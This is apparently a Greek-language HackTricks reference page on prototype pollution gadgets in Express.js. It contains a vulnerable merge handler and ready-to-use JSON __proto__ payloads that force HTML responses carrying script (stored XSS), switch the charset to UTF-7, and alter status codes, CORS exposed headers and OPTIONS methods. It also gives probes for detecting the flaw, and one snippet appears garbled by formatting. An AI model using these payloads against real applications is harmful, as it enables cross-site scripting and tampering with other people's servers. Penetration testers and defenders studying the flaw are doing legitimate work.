Express Prototype Pollution Gadgets

Reading time: 5 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Serve XSS responses

Για περισσότερες λεπτομέρειες ρίξτε μια ματιά στην αρχική έρευνα

Change JSON content-type to HTML

Σε μια εφαρμογή Express που χρησιμοποιεί JSON content type response και ανακλά ένα JSON:

javascript
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})

Σε αυτές τις περιπτώσεις, το XSS δεν είναι συνήθως δυνατό με τύπο περιεχομένου JSON. Ωστόσο, με την μόλυνση πρωτοτύπου μπορούμε να μπερδέψουμε το Express ώστε να εξυπηρετήσει μια HTML απάντηση. Αυτή η ευπάθεια βασίζεται στη χρήση του res.send(obj) και στη χρήση του body parser με τον τύπο περιεχομένου application/json.

json
{ "__proto__": { "_body": true, "body": "<script>evil()" } }

Με την ρύπανση των ιδιοτήτων body και _body, είναι δυνατόν να προκαλέσετε την Express να σερβίρει τον τύπο περιεχομένου HTML και να ανακλά την ιδιότητα _body, με αποτέλεσμα αποθηκευμένο XSS.

Απόδοση UTF7

Είναι δυνατόν να κάνετε την express να αποδώσει περιεχόμενο UTF-7 με:

json
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }

Ασφαλείς Τεχνικές Σάρωσης

JSON spaces

Η παρακάτω PP θα προσθέσει ένα επιπλέον κενό σε χαρακτηριστικά μέσα σε ένα JSON που δεν θα σπάσει τη λειτουργικότητα:

json
{ "__proto__": { "json spaces": " " } }

Τότε ένα αντανάκλαση JSON θα φαίνεται έτσι:

json
{"foo":  "bar"} -- Note the extra space

Εκτεθειμένες Κεφαλίδες

Το παρακάτω PP gadget θα κάνει τον διακομιστή να στείλει πίσω την HTTP κεφαλίδα: Access-Control-Expose_headers: foo

json
{ "__proto__": { "exposedHeaders": ["foo"] } }

Απαιτείται η εγκατάσταση του CORS module

Μέθοδος OPTIONS

Με το παρακάτω payload, είναι δυνατόν να κρυφτεί μια μέθοδος από μια απάντηση OPTIONS:

javascript
// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Κατάσταση

Είναι δυνατόν να αλλάξετε τον κωδικό κατάστασης που επιστρέφεται χρησιμοποιώντας το παρακάτω φορτίο PP:

json
{ "__proto__": { "status": 510 } }

Σφάλμα

Όταν αναθέτετε σε ένα πρωτότυπο με μια πρωτογενή τιμή όπως μια συμβολοσειρά, παράγει μια λειτουργία no-op καθώς το πρωτότυπο πρέπει να είναι ένα αντικείμενο. Εάν προσπαθήσετε να αναθέσετε ένα αντικείμενο πρωτοτύπου στο Object.prototype αυτό θα ρίξει μια εξαίρεση. Μπορούμε να χρησιμοποιήσουμε αυτές τις δύο συμπεριφορές για να ανιχνεύσουμε αν η ρύπανση του πρωτοτύπου ήταν επιτυχής:

javascript
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception

Αντανάκλαση Τιμής

Όταν μια εφαρμογή περιλαμβάνει ένα αντικείμενο στην απάντησή της, η δημιουργία ενός χαρακτηριστικού με ασυνήθιστο όνομα μαζί με το __proto__ μπορεί να είναι διαφωτιστική. Συγκεκριμένα, αν μόνο το ασυνήθιστο χαρακτηριστικό επιστρέφεται στην απάντηση, αυτό θα μπορούσε να υποδηλώνει την ευπάθεια της εφαρμογής:

json
{ "unusualName": "value", "__proto__": "test" }

Επιπλέον, σε σενάρια όπου χρησιμοποιείται μια βιβλιοθήκη όπως το Lodash, η ρύθμιση μιας ιδιότητας τόσο μέσω της ρύθμισης πρωτοτύπου (PP) όσο και άμεσα μέσα στο αντικείμενο προσφέρει μια άλλη διαγνωστική προσέγγιση. Εάν μια τέτοια ιδιότητα παραλειφθεί από την απάντηση, υποδηλώνει ότι το Lodash επαληθεύει την ύπαρξη της ιδιότητας στο στοχευόμενο αντικείμενο πριν από τη συγχώνευση:

javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Διάφορα

Επιτρέψτε Τελείες

Υπάρχει μια επιλογή στο Express που σας επιτρέπει να δημιουργείτε αντικείμενα από παραμέτρους συμβολοσειράς ερωτήματος.
Μπορείτε σίγουρα να το χρησιμοποιήσετε σε μια αλυσίδα σφαλμάτων για να εκμεταλλευτείτε μια ευπάθεια μόλυνσης πρωτοτύπου.

json
{ "__proto__": { "allowDots": true } }

?foo.bar=baz δημιουργεί ένα αντικείμενο στο Node.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks